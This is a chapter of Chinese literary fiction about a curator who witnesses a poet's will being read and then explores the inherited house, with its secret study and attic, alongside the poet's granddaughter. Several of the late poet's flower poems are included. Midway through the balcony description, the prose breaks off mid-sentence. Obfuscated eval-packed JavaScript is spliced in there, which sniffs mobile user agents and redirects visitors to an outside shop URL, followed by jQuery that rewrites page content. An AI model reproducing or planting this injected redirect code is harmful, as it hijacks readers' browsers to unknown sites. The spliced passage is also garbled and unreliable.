01 在静园里，隐而又隐
二更见欧菱的第一眼，就觉得这个年轻的女孩笑起来很像一个小动物。她的长发是微微的玉米烫，给人一种毛茸茸的可爱错觉。眼睛瞳孔尤为黑亮，像是灵狐口中衔着着一颗圆圆的黑葡萄。
她开口之后，二更又惊讶了一次，因为这个声音很熟悉。
欧菱是一位年轻的配音演员，国内数得上的播音主持系毕业后，在广州工作。从最初的跟棚小透明做起，一步步成长，如今，她已参与过很多知名有声书、广播剧项目的录制。
遗憾的是，这样一个好听的声音开口和二更说话时，带来的是一个让人遗憾的消息。
“您愿意做我奶奶遗嘱的见证人吗？”
活了三十多年，二更参与过的其他人的人生仪式并不多。除了家人的婚礼、葬礼，年轻时候当过一两位朋友的伴娘，此外无他。最近三、四年，她什么活动都没有参加过。在受邀见证一份遗嘱的宣读时，她惊讶，也有些犹豫。
邀请人的声线太过动听，她甚至带了一份礼物：一束还带着露水的白姜花。白姜花并不名贵，但不太好买，在昆明这两年，她从未在菜市场见过新鲜的白姜花。可它确实是寻常的，菜地里一大把，即便卖，也不过五块钱、八块钱一把。花是欧菱专程从广州菜市场带回的。香气扑鼻，二更心动了。
虽然不知欧菱的奶奶辛夷女士为何会提出这样一个奇特的要求，她还是答应了。
辛夷，欧菱的奶奶，在去世前曾立下一份遗嘱。她将在昆明的一处房产赠予孙女欧菱，并要求在公布遗嘱时，欧菱需要邀请一位年满36岁、她信任的女性朋友作为必要的见证人。
二更与欧菱是素未谋面的陌生人。欧菱自从跟因奶奶病重，搬回昆明后，在石房子里看过两次展览。她辗转通过各种方式联系到了展览的策展人之一，二更。真巧，二更今年刚好年满36岁。
“我奶奶在人生最后的十多年，大部分时间也是独自生活的，”欧菱说，“她给我留下了一份遗产，又附带了一个这样的条件。我不是很明白。佘老师，我或许，需要您的帮忙。”
“你是不是被盯上了，小佘姐？” 姜籽在电话另一边发出了合理的揣测。在答应欧菱好好考虑一下之后，二更暂别欧菱，之后拨通了姜籽的电话。“这个见证人的条件，好像是专门为你量身定做的，如果不是太过有缘，就是有点......奇怪了”，姜籽说，“我不太放心。”
这段时间，姜执仍在告假，去参加一个东南亚生物多样性主题的植物考察。对，是考察，但她对姜兰宣称是一次植物主题的展览，她只是去参与策展，十分安全，不必担心。得知二更遇到了这个么奇怪的邀请，她有点担心。毕竟，如今云南到了雨季，这是一个很多人会因菌中毒出现幻觉的季节。一些人会看见小人追着跑，一些人说自己要帮凤凰捋毛的，一些人在病床上挥舞双臂刷了一夜小龙虾，空中只有他能看见的小龙虾。姜籽担心，二更也是吃了菌子做了怪梦，迟迟没有醒来。
“可是，邀请人的奶奶，辛夷女士，也就是立下这份遗嘱的人，或许是我们正在寻访的那类人”，二更解释道。
辛夷，青年时代从事石斛研究。在成为欧菱的奶奶之前，她曾有过一次婚姻，婚后因流产而离异。三十八岁时，她迎来第二次婚姻，与第二任丈夫结婚。十年前，丈夫因病去世。在亲人住在同一小区方便照看的前提下，辛夷开始了一个人的独居生活。
从那时起，她开始了诗歌创作，作品多以云南的花草为主题。今年春，辛夷因病逝世。
“她是一位诗人？”姜籽也开始好奇了。
是的，二更和姜籽分享了她刚查阅到的资料。辛夷，本名和笔名一样。她在丈夫去世后的第二年，开始在一个中文诗歌论坛上每两三周更新一两首诗，一直持续到去世前一年。三年前，诗歌论坛曾举办过一个小型的年度诗会。辛夷曾在线上连线和大家分享创作心德。
那是一段很真诚的语音，辛夷的声音像热带阳光下的海水，温和，辽阔。二更隔着电话，把这段录音放给姜籽听。
- -
“我是一个很幸运的园丁，在人生晚年，经营了一个小花园。
说自己幸运，是因为作为一个喜欢花花草草的人，我的整个人生是在云南度过的。我生活的这个地方，就花草树木来说，堪称是一座不断生长和变化，一直能给人惊喜的宝地。它们美得大大方方，开得没心没肺。
比如说，我中年之后搬到了昆明。这里，春夏之交，蓝花楹盛开。它开的时候，坦然地接受人们的赞赏。它落的时候，蓝紫色的花瓣有些落在公交车车顶上，有些落在菜市场门口小摊车里的小南瓜上。它们平等地照顾着城市里的每一个角落，没有谁比另一朵落的地方更高贵。落花身上的那种特质很动人，和人不太一样。
再比如，到了晚春，樱花季，全城的人都在粉色的庇佑下。人们常说，樱花树下，谁站都美。这在昆明更是事实。无论是去送外卖的小伙子，做房屋中介的小青年，掀开井盖检查下水系统的工人，还是路边清扫卫生的环卫工人，哪怕，是银行门口的石头狮子，是街上最普通不过的一扇窗户，这样的时刻，普普通通的大家，普普通通的食物，只要在樱花树下，都变得更美了。尤其是整条街都开了樱花时，开着小电动车、车后座绑完饮用水空水桶的送水工人，车屁股后面空桶一颠一颠的，在一条粉色的路上，像一只快活的踩着花路的孔雀。
在这样的地方，人不可能对花草树木无动于衷。我最开始，喜欢盛开的。后来，也喜欢掉落的。有时候，我看到黄色的郁金香花瓣被风吹到紫色的郁金香花朵里，会觉得这个世界很温柔，我觉得它们在偷偷地牵手。我看到一棵直挺挺的雪松，和一棵柔韧得可以弯腰的毛竹碰在一起，我觉得风在帮助一对恋人在空中亲吻。
这就是我日常生活中每天都可能遇到的画面。云南的植草丰茂而且明朗，以润物细无声的方式，在最平淡日常生活中，滋养了我对植物的一些笨拙的诗歌创作。它们会制造一些可爱的巧合与故事，在我已经不如年轻时期那样灵光的大脑里。
我会用诗来表达它们，但其实，我并不懂太多关于诗歌的知识。我想，写诗对于我而言，很像是，我由衷地想告诉大家一些很美好的事，所以它就存在了，所以我就笨拙地会写了。
比如，我看到一个人躺在草坪上，旁边，还有一个人也躺着。他们都在晒太阳。顺着两人面朝的方向看过去，有一棵开着的樱花树。后来我发现，这样的画面，只要你顺着人们最舒适的视线去找，一定会有一棵很好看的树，或者开得恰好的花。我碰巧知道了这个法则，我想把它告诉你们，所以就写了诗。
他知道，他们都知道，我知道，现在也你知道了。
就是这样，很简单。”
--
辛夷留下了大概100多首写花草的小诗。二更也找来一些，在电话里读给姜籽听。
--
《柳絮的幻想》
原是不可能在一起的
公园里湖边柳树上的我
公园外湖边海棠树上的她
幸好我们都会落
我很早就决定
要比她更努力地飞
攒成一团，伺机翻滚
最后将她轻轻包裹
这是我的野心
几乎填充了全部的生命
风送我出行
并提前告知我生死未卜
而我赢了
当一个小女孩捧起
抱成一团的我们
叫出“粉雪花”
她就是花童
见证了一场暮春时的婚礼
验证了一团柳絮对爱的幻想
--
《紫藤》
紫藤花开败
果荚满架
贪恋人间
再下一场雨
悬而不落
我路过这场雨
不湿衣衫
不解热渴
只把盼望中的下一场雨
染了些青绿颜色
--
《鱼尾葵》
麻雀爱上一尾鱼
无力下水
徒劳低飞
原以为它放弃了
然而池边的鱼尾葵
它日日经停
--
《容错》
把槐花种在竹林间的人
一定吃透了孤单
才藏白雪于常绿间
等到，有人槐花树下坐
花开就有了声响
与竹板相碰声一模一样
青竹有了浓香
与白槐花一模一样
等到，有人槐花树下坐
种了许久的心思
因认错，被认得
而竹与清风不纠错
前人后人亦不道破
--
《白梦》
初夏午后
白莲初醒
一只死鱼翻肚白
一只乌龟爬叶舟
偶遇了
它轻轻嗅她的弥留
叶是温柔的
它在无人问津处
曳住鱼的幽魂
我是莽撞的
惊扰一只龟
不出声的伤怀
绽放的白轻摇
死了的白安梦
心软的乌龟 水中动
读罢，姜籽说，“那你去吧。”
“怎么改变得这么快？”二更问。
“诗，是她留给这个世界爱的遗产，那么我相信，那份遗嘱也是。或许，小佘姐，你该帮这个忙。”
- -
静园，滇池附近的一个小区，离滇池边不算远，散步距离可到，和周边商圈留出了恰好的两公里距离。“喧闹远得刚刚好，生活静得很方便”，这是当年售楼处的宣传语。
二更在小区门口见到了昨晚约好对接的律师，方竹。
“就是那棵会转着眼睛，看人的那棵树，对吗？”二更和方竹确认小区的精确入口。这次她长了心，免得重复去冬日可爱小菜园时的迷路。静园的正大门，远处正对着一座山。哪怕隔得远，小区的开发商也为了规避忌讳，在门口请了一棵高大的香樟树。香樟树这种树，有时候可以长得很敦厚，树型圆墩墩的，看起来活得十分丰足。不知哪位大师又给了个建议，说可以给这棵树装上一双眼睛，白天做造型装饰，夜晚放光做照明，还能对四方邪祟起到震慑作用。但承包团队大概误会了，照着可爱文创的路子做了设计，这一双眼睛做成了卡通风格，又大得格外显眼。滇式边上有了一棵会瞪人的树，这消息一出，无数好热闹的人前来打卡。最近，这静园的外围，是一点都不清净。
和方竹顺利碰面后，二更跟随她走入小区。
静园的房子设计得挺特别，并不财大气粗，大多数小别墅都是面积适中，两、三层规制。当年，它主打的概念之一，是适合单人居住的小别墅。一经开盘，就格外受到女性业主的欢迎。有人买来独居，也有人买来做工作室。每一栋别墅之间都隔出了奇妙的距离，隔离设施全部以绿化带来实现，比如狭长的竹林、灌木带。因此，小区里的植物很丰茂。
这引出了小区的第二个特点，绿化相较别处格外“放肆”。植物在这里比房子和人更显眼。
物管处的三角形屋顶爬满了正红色的三角梅与炮仗花；屋檐上，两棵硕大的鸟巢蕨肆意伸展，把三角屋顶装点得像一个带着皇冠的王。楼下的主花坛里，换锦花也到了花期，红粉佳人倒十分典雅，只是一旁，地栽马蹄莲开出了比花市大几倍的花朵，气势滂沱，倒显得小家碧玉们不够活泼了。
二更望着马蹄莲大酒杯一般的花朵，感受到了它的盛情，心里思忖着这个小区，是不是每日给这些植物们喂酒喝，不然为什么个个都舞得这样狂放。相比之下，一栋栋小别墅倒像是它们肆意去装点、把玩的小手办了。
辛夷的那栋房子，是一处朝南的红顶小洋楼，两层，有一点点闽南华侨燕归巢后修建的红砖洋楼之风格。下午三点多，日光依然充足，走入房子，室内敞亮温暖，客厅像一个罩着透光玻璃罩子的积木造景。走入房子里的人，就像是走近了迷你积木小屋的小人，一瞬间，生出了童话小屋主角才会有的幸福错觉。
欧菱早已等在室内。在二更的见证下，方竹作为辛夷女士的遗嘱执行人，向相关继承人公开这份自书遗嘱的内容。遗嘱大致内容如下：辛夷将名下位于静园的房产赠予欧菱，但有两个条件。第一，该房产仅限欧菱自住，可以改造为小型的录音工作室，但不可租赁或赠予他人。第二，在欧菱40岁之前，该房产不可买卖。
年轻的女孩得到了一处房产，然而，她此刻脸上更多是不解。
“为什么是40岁之后？”欧菱带着不解看向二更。
二更一直在琢磨她这个角色在场的意义。听到遗产的具体内容后，她似乎有一点点把握。她，是辛夷女士冥冥之中为欧菱指定的老师，但她有些忐忑，不知自己能不能完成好。“容我想一想，呆会儿尽力给一个答案，好吗？”二更问得很诚恳。
方竹打破了有些沉静的氛围，她介绍说，当初，辛夷来看这个房子时，第一次来就觉得各处都很合适。房屋维护得不错，整体很新，有轻微的生活痕迹，但很少有明显的损伤。第二次来，中介等在室内，辛夷在敲门时发现，门外的三种门铃，物业配置的门铃、密码锁上的门铃和摄像头门铃，统统不管用，只能敲门。中介很抱歉地解释说，房子的原主人是个很安静的人，年纪大了，社交关系少，因此几乎用不到门铃。但她保证，所有门铃都没有坏，她试过，充电或者换一下电池就好了。
就在中介十分忐忑地担心，辛夷会因为前一任房主有些奇怪而退却，内心打鼓这单生意大概要就此黄了的时候，辛夷当即决定，“就这栋了吧”。
房子的上一任主人的，给室内做了多层隔音工程，让房子的容积小了一点点。小得恰到好处，一个人住很宽敞，又不会觉得空间过分浪费。辛夷后来做的改动很少。内外门窗前段时间重新换了颜色，换的是古典且宁静的绿，让人一看就想起超市里的浅绿色瓶装纯净水。家具并不多，只备了些日常必需的。大部分家具是白色系，偶尔夹杂一些暖橘、浅粉色调，摆放疏密得当，动线明朗。日用电器一应俱全，其中不少是适合女性单人使用的小厨具、小家电。
在做过这些处理之后，这仍是一个有轻微使用痕迹的新房子，残留着温馨的生活气息，即便人们第一次走进来，也不会觉得冰冷。它像一个被家人暖过了的家。
房子里还有植物，尽管无人居住，仍有保洁代为看护，长势都不错。露台上，放在高处花架上的春羽与龟背竹自然垂落，形成两道优雅的弧形，在空中呈现交织的趋势。地上，蓝雪花顺着花架，爬到很高的地方，与龟背竹遥相呼应。龟背竹不是天生挺拔的植物，叶子长得越大越容易散落，软趴趴地越长越歪，露台上的这一株生得很大，底部有一个隐身的枝叶固定器，透明的叶子形状，不起眼得像一片叶子，却能让整株植物的姿态更挺拔迷人。花架上，一盆硕大的天门冬像一只八爪鱼爷爷。油画吊篮也长得很豪横，它的花盆风格古典，四只脚是卷草
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294817|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纹的造型，远远看去，像一个掐着腰叉着腿很傲气的公主，昂起一头蓬松茂密的粉色头发。
常见的大型植物天堂鸟，被放在了最靠近阳光且通风的地方，居然开出了真的天堂鸟的花。不是常见的橘色系，而是白色的，像绿野里的一只白鹭。天堂鸟这种植物，很多人都曾买回家养。在没有阳光直射或封闭的空间里，不到一年，它的状态就不好了。而这棵生得健硕，叶子油亮，像乡野里老天爷养的芭蕉一样健康。大叶子下放了只藤椅，它的位置是日光很好的地方，上面的颈椎枕也很贴心。一阵风来，天堂鸟的大叶子轻轻摇，摇椅也跟着轻微地动了动。
这个家里的一切，都准备好了。如今，它们欢迎着新主人。
“欧菱女士”，方竹找了个恰当的时机，打断了欧菱对这栋房子的逡巡，“还有一件事，要和您说明。”
“这栋房子买下来后，经过简单的修整，曾经出租过。您的奶奶辛夷女士曾委托我找到一家房屋中介，要求房屋只租给独自来昆明旅居的女士。我们很幸运地找到了一位在昆明旅居一年的客人。这位租客很友好，对房屋很爱惜，在租房期间，结合自己的生活需求提过很多实用的建议。所以，您如果看到房子有轻微的生活痕迹，不必介意。一方面，它们是上一位房东留下的，另一方面，也是辛夷女士根据之前的租客的建议，进行了一些更适合女性居住的改造。与其说是旧的痕迹，它们更像是提前为您备下的体贴设计。
您的奶奶很爱您。这是我工作之后，接到过的最特别的一项委托。包括在后续帮忙修护房屋的过程中，我都能体会到一位长者对于孙女的呵护。
希望您喜欢它。”
随后，方竹与欧菱约定好时间，持遗嘱等相关材料到公证处办理继承公证、到房产管理部门办理过户手续，在又一次表达了诚挚的恭喜后，方竹告辞。
房内只余两人。二更又一次用欣羡的目光，细细打量房中的一切。以她独自居住多年的经验来看，所有家具的高度，对女性都很友好，欧菱不必踮起脚或是搬个凳子来够什么东西。所有家具的线条，饱满流畅，没有突兀的棱角。很多细微之处，都在向主人确认，这个家是温和的，不刺激的。下午时分的窗帘，放了一部分柔和的日光进来，洒在地板上，拼凑出窗帘镂空的图案。是大片大片的树叶。日光在深棕色地板上造出了一片雨林，遮阳的同时，也能守护好室内的隐私。平心而论，房间的装饰与家具、家具用品都很朴素，并不花哨，也不奢华。但这里，有一种十分让人确信的安宁，有与外界恰当的距离。
“可以和我一起看看这个房子吗？这里，我也是第一次。”，欧菱问，““可不可以陪我上去，看一下卧室呢？”看得出来，欧菱很期待，二更也是。
二楼有两间卧室和书房，以及，一个面积不大但对欧菱来说，够用也实用的定制隔音间。对一个偶尔需要居家补录声音的职业配音演员来说，这是天大的助力。
两个卧室都很温馨。一间，无论家具还是灯具，看起来都比较古雅，包括黑白相间的小块地砖。更衣室是由几扇彩色玻璃屏风隔成的，传统的荷塘月色纹样。看起来，很像是奶奶辈的口味。另一间，房间不小，放了一个很有大学寝室风格的下书桌、下床铺的组合床。因选择上下组合家具，次卧多出来了一些地面空间，留给了奇怪的小玩具，成年人可以骑的小木马、带滑轮的趴趴猪大玩偶，还有一只很巨大的长颈鹿玩偶。二更估算了一下，如果欧菱真的想爬，她或许真的可以爬到脖子上，像一只考拉在按树林里抱住树一样，在自己家的卧室里抱住一只长颈鹿。
楼上两个房间，采光条件略有不同。一个日光饱满，冬、春、秋三季都住得舒服。一个日光半透不透的，适合夏天。老实说，昆明虽然四季日出，不需要空调，但夏季若有日光折射，仍有被烘烤到不适的可能。据说，小区里这种户型的三、两间卧室的设计，很得女性业主的喜欢。因为除了根据不同季节的温度、日晒情况能灵活调整住处，不同季节的衣服也可以放在不同房间的衣柜里，免得来来回回。
次卧里还有一个小小的衣柜，个头不高。二更站过去，她身高不到一米六，衣柜和她差不多高。这是一个可爱的定制衣柜，造型仿照了经典动画电影《灰姑娘》中那只会掐腰、会说话、会撒娇的衣柜精。由于掐着腰，衣柜从视觉上看起来歪歪斜斜的，柜门上的阴刻纹样还做了一个憋嘴的傲娇表情。
二更想起，主卧里也有一个衣柜，东方古典风韵，大气婉约圆润，衣柜上也有雕刻，是阳刻宝相花与石榴花。两个衣柜有一个共同点，高度都在1.7以下，把手都是浑圆的，像哆啦A梦的圆手。
真的很想上去拉一把。
欧菱也是这样想的，所以，她一把拉开了次卧衣柜的门。
没有什么事情发生。一个普普通通很好看的衣柜。
为什么竟然有些失望呢？难道期待从衣柜里跑出来一只白熊吗？二更问自己。
然而，抓着把手的欧菱似乎感受到了什么。她探着向左右转了一下。
“啪嗒”，衣柜旁边的一道暗门开了。
欧菱像一只小鱼穿游进去。很快，一只修长的胳膊又伸了出来，甩了甩，“小佘老师，进来！”
初极狭，才通人，彷佛若有光 -- 其实，没有那么复杂。一步迈进，里面藏着一间宽敞的书房。一张很大的工作桌，感觉可以开十个人的流水席了。电视机、冰箱、小沙发，宅女快乐屋里应有的一切，这里都有。它联通两个卧室的衣柜，隐在两间卧室之间。对身在其外的人来说，它是隐匿的。但走进来，视野开阔，透过正对面半六边形的落地窗，可以远远望见滇池边草长莺飞的湿地。近处，绿茵葱葱，罗汉松身姿绰约。绿影之间，路边行人身影偶现，但并不影响这一处密所内人心的安定。
当二更沉浸在窗景的远近皆宜时，欧菱留意到，小沙发背后，很容易被误认为是挂毯装饰的一条垂下来的软梯。她聂声聂脚，顺着软梯爬上去，天花板上有一个不起眼的开关。按下去，一块天花板开始移动。
她又一次兴奋地探过头来，对二更喊，“小佘老师，上来！”
天外有天，密室里还有秘密。原来书房顶上，还有一处小阁楼。阁楼体积不大，一面斜开的窗，压低了它的整体挑高。然而这窗是必要的，让人满眼皆是绿叶与蓝天。正对斜窗，它的对面，人可以直立行走的大空间里，也放了工作桌、小沙发等一组小型家具。隐中再隐，它们满足了这样一个需求：当一个人不仅想要躲开别人，还想躲开上一秒的自己时，她依然有去处。
有那么一个瞬间，二更产生了一个十分不恰当也不好解释的联想。她想到了--窑洞。她刚做记者时，去过一个山西的村子，采访过一位挖窑洞的老人家。老人说过一句话，她一直记到现在：“有个许身之地，人就踏实了，日子就会好起来”。在那个村子里，直到上世纪五、六十年代，人们都住在冬暖夏凉的土窑洞里。挖窑洞的这位匠人是因逃荒从隔壁乡过来的，在村里凭借一技之长，赚了钱，挖了许身之地，就留了下来。二更去村子时，他已经活到了九十七岁，口齿、眼神都还好，竟然还能在曾孙女的帮助下，和二更简单地聊些过往。
“想买”，二更又产生一个贪念。她复盘了自己一路从进门，一楼到二楼的路线，从次卧打开衣柜，从衣柜到密室，再从密室走向阁楼，这条有趣的线路，内心反复悬着两个字：想买。可惜啊，欧菱才是那个幸运儿。
“老天知道，我多羡慕你”，她呆呆地望着欧菱。“所以，为了平衡我的嫉妒心，可不可以请你告诉我，你到底对这个世界做了什么呢？”